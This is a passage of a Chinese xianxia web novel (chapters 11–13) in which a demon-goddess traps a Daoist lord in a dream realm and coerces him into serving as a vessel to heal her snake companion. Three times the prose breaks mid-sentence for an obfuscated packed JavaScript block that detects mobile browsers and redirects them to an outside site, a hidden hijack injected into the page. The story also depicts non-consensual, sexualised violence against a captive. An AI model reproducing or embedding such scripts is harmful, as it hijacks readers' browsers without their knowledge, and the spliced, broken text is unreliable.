天綪深深看了她一眼,脸上露出笑:“只是来关心关心你,时间快要到了,你可不要出现岔子。” 她后退回凉亭内,丢下一句话:“很快便是昆仑仙人出山之日,届时我会帮你求仙人来助你渡劫,一步飞升。” 北溯眼神瞬间沉下,一言不发地看着天綪离开,立在水栈上,缓缓垂眸看着水中月。 水面倒映出成镜的脸,她弯起眼眸,仰起唇角,用这张脸露出一个笑。 一贯冷峻的容颜笑起来,当真是令万物都失色。 北溯轻呵一声,掉头回囚牢。禁阵重启,雾气弥漫,莲池内寂静得连水声都无。 “北北!你回来了!你快看看他,他好像有点不对劲!” 北溯走近男人,只见他双眸失色,依旧保持她离开时的模样。 小蛇透明到几乎看不清鳞片,北溯盯着它看了好一会,脸上看不出表情,小蛇莫名心虚。 “你又动他了?” 小蛇使劲摇头:“没,我没有,北北你解开梦境后我就没动他了,他一直没出来。” 北溯抬手,小蛇主动缠上来,讨好地蹭了蹭她手腕,睁着圆圆的妖瞳看她。 “你先前为我挡他的攻击,伤到本源,控制不了自己的力量,我解开了梦境,但你没有完全将他吐出来。” 北溯看着哼唧唧的小蛇,说不出责怪的话。 “你伤势加重,否则不会以我的过去制造幻境。”已经无法控制自己的力量去创造一个虚幻的梦境,只能用她经历的事作为基础制造。 小蛇焉了吧唧地哦了一声。 北溯看它失落自责的样,安慰:“等月圆,我会带他回妖界,炼化成容器,最多三月,你便可重生。” 小蛇仰起脑袋,期待问:“真的吗?” 北溯目光缓缓转到男人身上,吐出两个字:“真的。” 星子从她指尖溢出,直接塞进小蛇嘴里,不容它拒绝。 吞下灵源的小蛇身体变实了些,它张开口,像之前那样,吞下成镜。 无边无际的海面上,莲台悬浮,莲台之上男人闭目打坐,他身后一轮占据夜空的硕大圆月悬挂。 似那月上神祇,岿然不动。 圆月忽然破碎,成镜睁开眼,眼前是被困住双手的女子,她正低垂着脑袋,一动不动。 一切回到他刚进来的时候,仿佛方才都是他的幻觉。 余光一转,火红发簪掉落地面,告诉他,不是他的幻觉。 他微微俯身,逼近这个一直戏弄自己,还装作被绑的女子,薄唇张开:“你,是妖王?” 11. 第 11 章 妖王? 许久未听到有人这么叫她了。 真是久违的称呼啊。 北溯抬起头,没有一丝被困的窘迫,浅浅笑道:“不是呢。” 成镜凝视她的笑,垂下的指尖几不可查地微颤。面前的女子与那晚见到的容貌不同,声音也并无相似之处,却给他一种她们就是同一人的感觉。 垂落的发丝遮挡他的眉眼,掩去他眼中的怀疑之色。 地上的发簪升起,悬浮在他身侧,成镜凝视她良久,忽然开口:“现在依旧是你制造的幻境,对吗。” 北溯挑眉,没想到他看出自己还在梦境里,不过她编织的可不是什么幻境,那是能将人的灵魂抽离出来,永远被困在其中的梦境。 她双臂微挣,捆住她的绳索掉落,分裂成数截莲梗,身子逐渐挺直,强大深不可测的气息散发出来,在她的梦境中,她为尊。 小蛇的身影在她身后胀大,幽绿竖瞳盯着成镜,对这朵莲花虎视眈眈。 亲眼看见她挣脱束缚,成镜并无惊讶,北溯没在他脸上看到丝毫波动,觉得扫兴,忽而朝他逼近一步,成镜立刻后退,远离她。 北溯挑了眉,瞥过他后退的裸足,两朵泛着荧光的莲花印在地面,又有了兴趣。 这是在怕她? 唔…… 北溯看向他依旧无情绪波动的脸,再一看他们之间方才扩大的距离,笑意荡开。 表面看着镇定,实则早已将她当成豺狼,避之不及。 她淡声道:“此处确实并非现实。” 成镜不明白自己为何会被这位从未谋面的女子盯上,三番五次戏弄,甚至在今日,才知她是负责重莲殿杂事的弟子。 他自问自己一心向道,鲜少离开重莲殿,露面的几次皆是为解决道宗危机,即使有仇人,也当是妖族。 但在她身上,没有一丝妖气。 她身上有一种说不出来的气势,似是游戏人间的冷漠,方才虽是笑着回答他的问题,给人的感觉像是套了一层带笑的壳子,没有丝毫真情。 成镜不动声色地掐了指尖,血珠滴落,那一瞬法阵自他脚下迅速显现,一朵莲花凭空升起,洁白的莲将他托起,发丝无风自动。 冷峭的眼垂下,他抬手结印,动作不急不缓,纤长手指触碰交叠,若是抛开此刻的情形,单单这么看着,倒是赏心悦目的一幕。 北溯眯起眼,瞧着他的手指,若有所思,忽然问小蛇:“鳞舞,你觉得他这双手,好不好用?” 闻言小蛇竖瞳仔细去看男人的手,想了想,觉得应该挺好用的。这么长的手指,很方便去一些狭小的缝隙拾取东西。 这么一打岔,成镜已经蓄力完成,奇怪的是他并不攻击北溯,反而盘腿坐在莲花上,法阵一层一层穿过他的身体,冲出囚牢,飞升上空,法阵的金芒几乎将夜幕照亮。 北溯发现了他的意图。 “他想连通昆仑镜。” 小蛇不解:“被困在梦境里,他能连通外界的东西?” 北溯眯起眼,指尖再次凝聚星子,“别人不可以,他可以。” 蕴含着一丝神性的金莲,早就超脱三界,除非她动用神格的力量编织梦境,否则就阻止不了他。 “鳞舞,我们要干活了。” 凝聚星子的那只手抬起,小蛇竖瞳里满是心疼,吃下她的灵源,身形变实了些,直接张开口去吞成镜。 许是被吞的次数多了,成镜有所感知,双眸直直盯着前方,那里只有女子一人的身影,直觉告诉他,还有旁的存在。 当即一指弹出,指头大小的莲子射向前方。 就在这一颗莲子射出后,敏锐察觉到女子情绪变化,她的气息瞬间冷冽,眼神森冷,毫不掩饰对他的杀意。 北溯脚下一动,密密麻麻鳞片升起,组成盾挡住莲子,莲子撞击到盾的那一瞬爆炸开来,囚牢四碎,顷刻间消散,一轮孤月显现,周遭依旧是那片一望无际的海,金色法阵将月囚住。 龟裂的痕迹在盾上蔓延,北溯抬手击碎,身形一转,跃上黑蛇头顶,只一息间,两人位置颠倒。 北溯立于黑蛇脑袋上,居高临下俯视莲上之人,她一挥手,黑蛇巨大的脑袋俯下,逼近男人。 随即纵身一跃,在成镜要再度攻击时,精准掐住他的喉咙,将人一把按倒。一手攥紧男人的脖颈,先前用来绑她的莲梗被她复原,绑住他的双臂。 成镜被压倒在莲上,发丝倾散,双臂缚于身后,脆弱的脖颈被一只纤细的手攥紧,命门暴露在她手中。 感受着他脖颈血管跳动,北溯俯身,凑近他耳畔时,被他偏头避开,她没有再凑上去,红唇轻启,声音很轻,却让人觉得毛骨悚然。 “两次了。”她的手收紧,压迫着成镜脖颈,他身体反射性地后仰脑袋,忍耐着不露出丝毫痛苦神色。 “你不该伤鳞舞。” 不论是有意无意,伤到鳞舞,她就不会放过他。 北溯松开手,欣赏自己在他脖颈上留下的指印,看他呼吸时滚动的喉结,只看了一眼,毫不留情地回到黑蛇头顶。 垂眸俯视他挣脱束缚,再直起身重新坐好。 即使被她这么掐住脖颈,也不见他动怒,眼神仍旧平淡。 仿佛方才被压倒掐住脖颈的人不是他。 他调整呼吸,仰头看过来,稍显凌乱的发丝垂在他衣衫前,再加上他脖颈间的痕迹,引人遐想非非。 北溯眯起眼,从头到尾扫视他,意味不明地哼笑一声。 “我本来还想着,在带走你之前,放你出来在外头待一两天,但现在——” 北溯抬手,蓬勃的力量涌出,圆月上方显现一只巨手虚影,捏住圆月,囚住圆月的法阵被捏碎,与此同时成镜因遭受反噬而捂住胸口,面色转白。 “你只能待在这里。” 圆月高悬,如同警钟,时刻提醒成镜,他的力量不断削弱,现在连破开幻境都做不到,等到月圆那天,只能任她宰割。 他的弱点,被她发现了。 捂住胸口的手指骨凸起,青筋清晰可见,他喘了口气,抬头要去问那人究竟要对自己做什么时,眼前空空荡荡。 女子的身影消失了。 他被困在这死寂的空间内,仅有这轮月陪伴他。 成镜垂下眼,纤细长睫微颤,捂住脖颈被女子掐过的地方,眸中倒映出身下莲花花瓣。 原本顺滑的花瓣不知何时被折了,他抬手将花瓣扶正,可那道折痕仍在,尤为刺眼。 刚出了梦境,小蛇苦恼又心虚地跟在北溯身后,一路跟着她走出囚牢,步上水栈。 不知道要怎么哄她,尾巴都打结了。 北北从棺材里醒来后就告诉过它,绝对不能再受伤。 可是北北受到攻击,它也会很担心啊。之前是它主动挡伤,已经被北北 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15860750|176011||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 警告一次了,刚刚它没躲成镜的攻击,被北北发现了。没遵守她说的话,她生气了。 北北生气很难哄的,上次她生气,它哄了好几个月她都没原谅它,这次生气,它都没法像之前那样用实体去弄些有趣的玩意来哄。 还得靠吃她的灵源支撑。 小蛇难过地耷拉着脑袋,竖瞳瞅着水面倒映出的月,不知道该说什么。 待看到莲花,它猛地抬头,发现北溯出了禁阵,连忙问:“北北你要去哪?” 北溯冷呵一声:“去找个锅,把你炖了。” 小蛇吓得鳞片炸开,嗖的一下闪到北溯面前,哭唧唧:“别啊,我不好吃的,北北你别炖我。” 说完它试探地用尾巴碰碰北溯肩膀,见她没拂开自己,咧嘴一笑盘到她肩膀上,脑袋蹭她下巴:“我听你的话,不会有下次了。” 北溯没理它,径直走出莲池。 小蛇叽哩哇啦说了一大堆求饶认错的话,回过神看到熟悉的小破屋,咦了一声,不解问:“北北,你来这做什么?” 北溯没应声,目光射向小破屋里,顿了会,才往里走。 刚行至门口,一道寒意迎面扑来,小蛇立刻朝屋里龇牙。 剑身折射着月光,抵着她脖颈,里头走出一人,在月光下缓缓显露面容。 “是你。” 北溯瞥了眼他眉心淡淡的魔气,手指弹开剑,珩断只觉得虎口一麻,险些握不住剑。 看也没看他,北溯直接走进去,径直走向窗户。 珩断收回剑,立刻跟上,语气警惕:“那日是你给阿玲的符纸,能避开异种,对吗?” 他的话没有得到北溯的回答,小蛇还在冲他龇牙,恨恨道:“北北给玲玲的,不是给你的!” 没有风的夜晚,窗前挂着的风铃一动不动,北溯抬手拨动尾端,清脆的铃声在屋内回荡,像极了珩玲在说话。 北溯想起初见小姑娘时,她凶巴巴地叫自己跟着她,告诉自己屋内所有摆设的用途,还叫她不要乱碰。 后来遇到个什么东西都要拿给她,她说不要,小姑娘还说她不识货。 邪神哪里需要凡人的东西。 北溯抬手摘下这串风铃,笑自己话说得太满。 这回她要拿走凡人的东西了。 她提着风铃要回重莲殿,被人挡住去路。 刚失去妹妹的兄长红着眼,盯着眼前的女子,咬牙出口:“那是我送给阿玲的。” 北溯提起风铃,特地在他面前拨动一下,在他伸手去夺时,轻易避开。 “哦?你送的?”语气轻佻,被这句话刺到,珩断眉心的魔气越发地浓。 小蛇瞅了眼,嘀咕一句:“他有心魔了。” 北溯不关心他有没有心魔,别人的死活与她有何关系,她还要再刺一句:“那你不应该送的。” “你害她死了。” 北溯越过他,走出这间她住了三个月的屋子。 月色下地面只有她一人的影子。 片刻后,小破屋内涌出浓郁魔气。不过一会,感知到有股气息迅速靠近,北溯抹了一下额间,地面影子拉长,清冷道君出现在夜幕中。 “他”转身,面向小破屋,脚步声响起,一道惊呼:“道君?您也在?” “他”嗯了一声,背对着陆微璎,清隽的面容露出一个笑。 怎么忘了,这里还有个虾米没解决。 12. 第 12 章 浓郁的魔气从小破屋里冲出来,令人不安。 颀长的身影并未有所动静,“他”淡漠地望着里头快要入魔的人,眼中没有一丝施救的倾向。 眼见珩断就要彻底入魔,危害道宗,陆微璎立即上前,手指自身上衣襟拂过,数道银针齐发,混着灵力射向屋内的人。 小蛇哎咦一声,看到银针破开魔气,射中珩断,定住他的身体,随后跑进小破屋。 “她的法器还有这用途呢,这么轻易就能找到入魔之人的命脉?” 北溯还记得那日陆微璎朝自己射来的一针,威力确实不可小觑。 “聚灵境能做到如此程度,勉强算得上有天赋。” 她垂下眼,抬起手,小蛇顺从地缠住她的手腕。 嘴角扯出一丝弧度,她抬手击出一颗星子,星子迅速膨胀,将小破屋内缠斗的两人笼罩在内,随后渐渐隐没,再看不出一丝痕迹。 “北北,你不直接嘎了她吗?” 北溯抬起眼瞧着月,音色空渺:“那可不行,被他们发现道宗里死了个执事,看守变严,再要带走那朵莲花,就会很麻烦。” 这几日成镜的力量会慢慢削弱,根本反抗不了她。 要防的是天綪。 北溯瞥了眼里头,不再停留,直接回重莲殿。 小蛇担心道:“你刚才见珩断的时候用的裴云霄的脸,他会不会说出去啊?” 越接近月圆,月光越明亮,地面只一道拉长的影子,缓缓移动。这道影子走出院子,走过繁茂的树,来到莲池。 “他不会。” 心有愧疚,恨不得死的人是自己,夺走了亲妹妹的生存机会,他怎么可能还会将“救”了自己的人说出来。 北溯行走在塘埂上,脚下不知踩到什么,有些扎脚。 抬起脚一看脚底板,凹进去一块,踩到了一块尖头石子。弯腰捡起来,朝池塘里一抛,扑通一声,坠入池塘里,再无踪影。 “他不穿鞋走路,不会硌脚吗?” 小蛇嘿嘿一笑:“北北你没发现吗,他是悬空着的!” 北溯确实没发现,指尖托着下巴,忽然说:“那他应该比看到的再矮一些。” 话音刚落,后方冲出极为强烈的魔气,比起先前还要浓郁好几倍。 小蛇激动:“珩断的心魔被催化成熟了!陆微璎绝对打不过入魔的他!” 北溯并未回头去看,抬起脚,一步一步走在塘埂上,走进凉亭内。禁阵开启,雾气散开,水栈显露出来。 她踏上水栈,手里提着那串风铃。走一步,风铃晃动一次。 “铃……铃铃……” 清脆的风铃声在夜色下回荡,如同少女在呼喊。 北溯没有去囚牢,她走之前在囚牢设了禁阵,加上成镜一直被困在梦境里,不用担心他会出来。 她走入大殿,瞧见那莲台,好奇走过去,双手撑着坐上去,变回了原本的容貌。 莲台有点高,她坐在上头晃着小腿,看起来心情还算还不错。 小蛇在殿内晃来晃去,一见里头空荡荡的,只有那座被北溯坐着的莲台,有些扫兴。 好无聊啊,什么时候才能吃了莲花恢复真身,让北北带着它横扫三界! 它忽然跑回去,问北溯:“北北,凤鸣的毛还在囚牢里,要拿回来吗?” 北溯拒绝。 “凤鸣身上的毛多,这根品质差,不要。” 小蛇不再管发簪,扭捏好久,爬到北溯肩膀上,脑袋蹭蹭她脸颊,讨好道:“那你还要把我炖了吗?” 摇晃的腿停下,北溯垂眸,睨了眼它。 小蛇眨着他翠绿的眼,学着那些灵宠卖萌,努力讨好:“蛇蛇不好吃的,蛇蛇都是苦的,北北你别吃。” 北溯抬手,在小蛇要缠上来时,两指捏合,弹开它。 小蛇被弹飞,又跑回来,倒是不敢离得太近,隔着一条小蛇的距离暗戳戳看她。 北溯跳下来,转身面对大殿正中央,看着殿内唯一算的上精致的陈设,白绿相接的莲台上,雕刻着一朵盛开的莲,可以想象到那人成日坐在莲台上打坐修炼,两耳不闻窗外事。 她哼笑一声。 “不愧是道君,无欲无求,一丝世俗的欲望都没有。” 若是有修士走到他这个高度,定然欲求更多,即便不贪,寝殿内也不会只有这么点不值钱的东西。 扫兴地去了成镜寝殿,里头别提丹药秘籍,便是连衣衫都瞧不见一件,当真是光着身子来,也要光着身子去。 她直接走到床边,施了个洁净诀,将小蛇扔到床上滚了一圈,才躺下。 方要闭眼,发现床头位置正对着窗,一抬眼,恰好便能看见几近完整的圆月。 北溯蹙起眉,盯着窗户看了会,低声呢喃:“他是特地将窗开在这的吗?” 夜夜观察明月,时刻提醒自己的弱点就在此处? 小蛇见她一直看月亮的方向,跟着一起看,看着看着,被皎洁的月吸引,不由得感叹:“要是月神还在,应该会告诉那群坏家伙,北北你是被冤枉的。” 啪一声窗户合上,小蛇吓了一跳,转头一看北溯已经闭上眼,顿时闭了嘴,不敢再说。 它慢慢地飘到床角,在北溯脚边盘好,翠绿的竖瞳里满是忧伤。 当初要不是北北出事,月神也不会死,北北应该还没从月神的死里走出来。 它闭上眼,本只是盘着等天亮后北溯醒来,意识却逐渐下沉,无法控制地混沌。 小蛇的身体越来越透,它额间闪着细碎的金芒,逐渐黯淡下来。起初还有拇指大小,渐渐地,只有米粒大。 它张开口,一声呓语消散在空气中:“北北……” 北溯骤然睁开眼。 入目的是高悬的月,视线一转,海面上浮着一座莲台,男人一身薄衫,盘坐在莲台上,双目阖着,周身淡淡的灵气围绕。 她再一转视线,没有熟悉的身影。 她唤了一声:“鳞舞。” 本该立刻应她的稚童声没有响起,整个空间寂静得只有她一人的呼吸。 北溯盯着成镜,半晌才抬手抵住自己眉间,星子自眉心溢出,扩散至整个梦境,却避开成镜,未碰到他分毫。 星子消散,将感知到的信息传达给北溯,那一瞬她眼底闪过克制的紧张之色。 鳞舞不能再等了。 若非鳞舞为她受下的那一击,还能再撑一个月,但现在它已经控制不住自己的力量,待它的力量全都涣散,便再也无法修补。 北溯仰头望着这轮月,醒来后头一次觉得孤寂。 被封印前,身边的人一个接一个地死了,现在只剩下鳞舞,她绝不会让它死。 即使力量涣散,它还记得要维持困住成镜的梦境,却没法控制住,将成镜再次带入了她的过去。 满地的尸块,血流成河。 成镜走在血河中,望着被屠戮成地狱的妖城,这一次,他不再是随手可捏死生灵的刽子手,而是被摧毁家园的流浪者。 他认得地上的尸块属于谁。 那些都是妖界最低等的妖兽,与人界的牲畜无异。 这“无异”说的不是地位低下任人宰割,而是与牲畜一样没有危害,遇人只会躲开。 这不该是目前人族对妖兽的认知,这是梦境里他替代的这具身体主人心中所想。 他犹如局外人,旁观这一切,目之所及,横尸遍野。 心中越发确定这具身体的主人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15860751|176011||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是妖,且是很多年前,人族还未将妖族视为仇敌时期的妖。 眼前这一幕似乎无法与上一次梦境联系起来,那只实力强悍的黑蟒不在,且从身体主人的举动来看,“他”并非如上次那般受人敬重。 混杂着怒气的拳风扫过来,成镜抬手去挡,身子却纹丝不动,紧接着阵痛袭来,大脑眩晕,被一拳打倒在地。 血泊里倒映出一张脸,成镜脑中的弦紧绷,脑海里被这张脸充斥,连身体主人站起来又被打趴下都没意识到。 “你满意了?” 充满恨意的声音扎进脑中,刺得神经都在疼。 “非要整个妖族陪你一起送死,你才满意?” 成镜看不到说话的人是谁,记忆里也未有这个声音,他只能被动地跟随身体主人的感知,去推测究竟发生了什么。 妖族何时遭遇过如此惨烈的劫难? “你现在说对不起有什么用?已经死去的会因为你一句对不起就能活吗?” 他听到那个声音几乎恶毒得诅咒的话:“你怎么不跟着一起死呢?” 腹部骤痛,视线缓缓抬起,成镜终于看到了说话的人。容颜苍老,目眦欲裂,他握着手中匕首,一把捅进腹中。 成镜被迫同步感受着身体与精神上双倍的痛,深刻地感知到身体主人看到那人捅自己时,爆发出的绝望。 “他”在想,为什么死的不是自己呢? “对啊,”一道空灵的女声降临,如同陷入茫然中发出的疑惑:“为什么死的,不是我呢?” 成镜霎时间抬手格挡,却轻易被握住手腕反剪到背后。 他警惕地凝视着突然出现的女子,察觉到周围再次恢复成海,他没有反抗,因为清楚地意识到现在的自己在她手中,没有反抗的力量。 却不适地往后退,眉宇无意识紧皱。 身前的女子离他太近了,被反剪手的姿势令自己不由自主地贴近她的身体,即使及时偏开眼,也将女子撞过来那一瞬靠近的双眼看得一清二楚。 那样冷的眼神,令人头皮发麻。 成镜屏息片刻,忽而开口:“你是妖?” 话刚出口,腹部受上一拳,成镜闷哼一声,忍耐着不发出异样的声音。 越靠近月圆之夜,力量削弱得越快,甚至身体也会变弱,最终比普通人还要脆弱,对任何疼痛都尤为敏感。 北溯松开他,从他身侧绕过,坐上莲台,怏怏地说了一句:“我最讨厌妖了。” 成镜眼帘一颤,从这句话里捕捉到几分异样,他直起身,转身面向方才无故重击自己的女子,却在看见她坐在自己莲台上时,脸色骤变。 那一瞬间脸上闪过屈辱的神色,紧抿着唇,抬手掐诀,莲台瞬间消失。 北溯稳稳落地,说了句小气。 成镜捏紧手,低垂的眼里杀气逐渐弥漫。 莲台是他的伴生物,平常释放出来是为修炼疗伤,被她坐着,不仅是在羞辱他,还相当于她坐在了他—— “好了,该干正事了。” 北溯忽然出现在成镜面前,指尖凝出星子,往夜空中抛去。星子膨胀,笼罩整个梦境,聚集小蛇四散的力量,凑出一条蛇的形状。 北溯眯起眼,眼神侵略晦暗,扫视男人的身体,扬起唇。 “能成为我的容器,是你的荣幸。” 被凝聚成形的小蛇下意识地靠近他们,巨大的身躯将他们包裹,缠紧。 成镜瞳孔颤动,忽然意识到自己为何被盯上。 苍白的容颜泛起薄红,那是被羞辱到极点气出来的。 长睫极快地颤动,额间莲花印记亮起,成镜看着眼前的女子,活了三百年,头一次尝到愤怒是何滋味。 “你敢。” 13. 第 13 章 莲花虚影盛开,蕴含的力量撼动着梦境的稳定。小蛇力量涣散,无法像之前那般稳固,成镜这一招再继续下去,梦境便会破碎,无法再困住他。 北溯直直看着面前的男人,看他将仅剩的力量全都灌入到莲花内,方才的愠怒荡然无存,又恢复成那副面无表情不为所动的模样。 若非接触他时,鳞舞为她挡成镜攻击而被伤到,她不会选择在现在动手。 不到月圆之夜,成镜的力量未彻底散尽,现在要想炼化他,难度比在他失去力量时大得多。 但鳞舞不能再等了。 北溯冷了眸子,抬手扣住成镜的脖颈,拉着他往下倒,脚下重新化为水,两道身影栽入水中,掀起水花。 脖颈肌肤被掌心接触到的一瞬,成镜眼底划过羞怒,他却没有挣扎,手中法印变幻,那朵浮于半空与圆月对峙的莲花虚影渐渐凝实。 只待莲花凝成实体,便可破梦境。 然而他的动作被打断。 额间的莲花印记微微闪烁,黯淡下来,与此同时那朵浮在半空中的莲花忽然开始凋零,花瓣一片片散落,漂浮在海面。 水面荡开汹涌波澜,漆黑的水底炸开亮光,随后湮灭。 成镜的反抗被北溯击碎,她一手扼住他的咽喉,另外一只手精准握住他的手腕,丝丝缕缕的星子凝结出来,顺着她握住成镜的手攀上去,缠住他的手臂,封锁他的灵脉。 他还要再攻击,北溯只加重掐他脖颈的力道,水下她那双眼闪着翠绿的光,瞳孔渐渐变化,更接近竖瞳,眼神冷漠,如同蛇盯着猎物时的蔑视。 窒息之下身体本能地要呼吸,紧闭的唇张开,水灌进去,他被呛得在水中咳嗽,用力到脸上浮现薄红。 北溯眯起眼,一瞬不瞬地盯着他。 打斗间他的发散了,在水中漂浮,萦绕周身,额间的莲花印记忽闪,眼帘半阖,白色薄衫贴在身上,本无甚血色的脸因呛到而泛起红。 此刻的成镜道君看着似那妖姬,脆弱中带着抵抗,常年的冷漠被妖冶取代。 这若是叫道宗千百修士瞧见他这副模样,定然会怀疑道君是不是被夺舍了。 他们敬仰的道君,何时会露出这副比妖精还勾人的样子。 北溯松开掐他脖颈的手,星子已经封锁他的灵脉,此刻他再也使不出丝毫灵力。 只能任由她宰割。 半空中的莲凋零殆尽,那花蕊坠下,缓缓沉入水底。 水花四溅,两道身影浮出水面。 北溯随意将湿发撩至脸颊两侧,饶有兴致地看着成镜感知到灵脉被封锁后,脸上浮现的那一丝慌乱。虽然他很快调整过来,但依旧被她捕捉到。 甚至,他在她好心将他拉出水面后松开他的一瞬间,立刻往后退。 北溯挑眉,视线从他胸膛前扫视过,目测自己与他之间的距离。 不到一米。 他退这一米,就能避开她? “道君怎么不继续反抗了?”北溯歪了歪脑袋,笑着看他。 成镜抿唇,眉头罕见地皱得很紧,他在尝试冲开被封锁的灵脉。 水下一道阴影闪过,一股阴暗湿滑的触感贴上后背,衣衫太薄无法隔绝,凉意窜上后背,逐渐蔓延到全身。 那是怎么都无法摆脱的凉,一旦被缠上,犹如附骨之蛆,霸道地侵入骨髓,驱赶血管里的热,占据身体。 成镜面色骤变。 那股凉意勾住了他的腰,在他察觉到时,已经缠紧腰身,控制他的身体拉向女子。 距离缩短,眨眼间来到她面前。 他甚至连冲开灵脉都没来得及,便被拉着撞入女子怀中。 柔软通过接触的胸膛传达给大脑,成镜瞬间偏头,目不斜视,面上没什么表情,但几乎抿成直线的唇出卖了他。 北溯诧异,垂头看了眼自己的胸,没想到只是身子撞到,他反应出奇地大。 唔,这么纯情吗? 男人偏着头,显得下颚线更流畅清晰,睁着的眼睫颤得想让人直接将手盖上去,叫他不要再颤。 这副极力忍耐如临大敌的模样,勾起了北溯心底深藏的某种难以言喻的欲望。 想要他这样的反应再激烈些,想要看到他这副强装的镇定破碎,看他这朵莲花盛放,被她亲手蹂躏,摧毁,糜烂。 他实在是—— 太好欺负了。 就连他回答她的话发出的声音,都让人听得欲望喷张。 “阁下锁住我的灵脉,我岂有机会反抗?”他的声音平静,细听能发现嗓音还带着被掐喉后未恢复的嘶哑。 说这句话时,他依旧偏着头不看她。 北溯静了会,看着他笑出了声。 “怎么不看着我说?” 水下的阴影攀上他们的身体,一圈一圈环绕。那是一只数米长的蛇,蛇尾缠住成镜腰身,蛇身禁锢他们的身体,脑袋最终搭在北溯肩膀上,看不见实体,却能感受到它带来的彻骨寒意。 如同已经死去,被冰封多年。 “阁下若是想戏耍我,你的目的已经达到。”成镜不适地吞咽了一下喉咙,喉咙依旧刺痛。 北溯注视着他滑动的喉结,手指轻轻拍打水面,却笑:“道君急什么,这才刚开始。” 听见这句话的瞬间,成镜瞳孔颤动,这一刻终于回头看她,眼瞳里倒映出她靠近的身影。 身体下意识后退,却被那透明的蛇紧紧缠住,更加靠近她。 北溯抬手伸向他的脸,被他避开,不甚在意地垂下,突然抬起一把捏住他下巴,逼迫他看自己。 “道君修炼百年,身体应当比凡人更强。” 成镜绷紧身体,还未弄清楚她的用意,只以为她想羞辱自己。 直到听见她那句话,脑中绷紧的弦断开,半晌才明白她说的是什么。 “你这样的身体,应该能受得住我的力量,为我孕育子嗣吧?” 成镜以为她说的成为她的容器是戏言,却没想到她真的知道自己的身体特质,甚至胆大包天地打起了他的主意。 自己真身是金莲,可孕育世间万物,不论是人,还是兽,器,植。 而他以金莲之身修炼可忽略部分法则,比起修炼千百年都无法飞升的修士,他只需再渡过三次月圆之夜,便可静待雷劫到来,渡劫飞升。 但从未想过,会被一不认识的女子盯上,甚至想要用他的身体孕育她的子嗣。 她怎么敢的? “所以你之前拉我入幻境,故意让我看你的过往,便是为了——”那句话他说不出口。 这是对他的侮辱。 对他人格的剥夺。 “啊……”北溯想了想,摇头道:“那是个意外。”看到她的过往也无所谓,她都不在乎了,没有什么能伤到她的。 北溯目光极为专注地打量身前的男人,眸中的笑意越来越深,眸色越来越暗。 她似那抓住猎物的蛇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15860752|176011||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,思考着在猎物身上哪一处更好下口。 “阁下从何而知我的身——” 剩下的“份”字被淹没在他压抑的惊呼声中。 北溯一口咬住他的脖颈,力气毫无收敛,立刻在他脖颈上烙下痕迹,只轻轻一磨,脖颈上涌出血珠。 她松开口,指腹用力摩擦,擦了血珠。 成镜身子一颤,莫名地因为她手指摩擦自己脖颈时毫不温柔的动作而战栗。 旋即发现自己表现的异样,涣散的焦距立即聚集,意识到她接下来做的事时,拼尽力量也无法反抗。 受到月圆之夜反噬失去力量,还被人封锁灵脉沦为她的容器,甚至还要被她如此屈辱地折磨。 “你敢……”成镜被缠住的双手缓缓握紧,额间青筋暴起,直直盯着还想在他身上作祟的女子,怒意逐渐充斥眼瞳。先前忍耐保持平静的面具破碎,此刻他浑身处处都是怒火。 被侮辱,被肆意揉弄的怒火。 从未遭遇过这一切,认知出现偏差的无措。 北溯愣了会,忽然兴奋。 他终于急了,终于不是波澜不惊仿佛什么都撼动不了他。 这样的他,更能激发她心底的征服欲与施虐欲。 想看这朵莲花在孕育她的子嗣后,是会直接杀了他自己来保住名声,还是忍着成为她修复鳞舞的容器,苟且偷生。 北溯弯着眸,笑了。 真的好久好久没有像今日这般,折磨一个人,她都快忘了那是什么滋味。 不过…… 北溯对上那双视自己为敌的眼,蹙了眉。 不喜欢这样的眼神。 北溯抬手,捂住他的双眼,纤细长睫在掌心颤动,有些痒。 她忽然用力按住,阻止那对长睫颤动,内心掩藏的欲望膨胀,冲破枷锁,取代理智。 她放任欲望肆虐,由欲望驱使,再一口咬住他的脖颈,同样的位置,力道更重。 一声压抑的闷哼落在头顶,北溯唇角噙着笑,伸出舌尖舔舐那滴血珠。 下一秒,男人绷紧身子,连呼吸都忘了。 湿润冰凉的触感还在,柔软得仿佛一碰就碎。 他呆滞着,脑中空白。 为人三百载,从未被人这么亲密地触碰,也从未有人敢这般强迫他。 导致他根本不知道该做出什么样的反应。 究竟什么样的关系,能亲密到被人舔舐脖颈,吮吸血液? 他迟钝的反应被北溯发现,没有撤开捂住他双眼的手,只微微后退些,瞧着他此刻的模样。 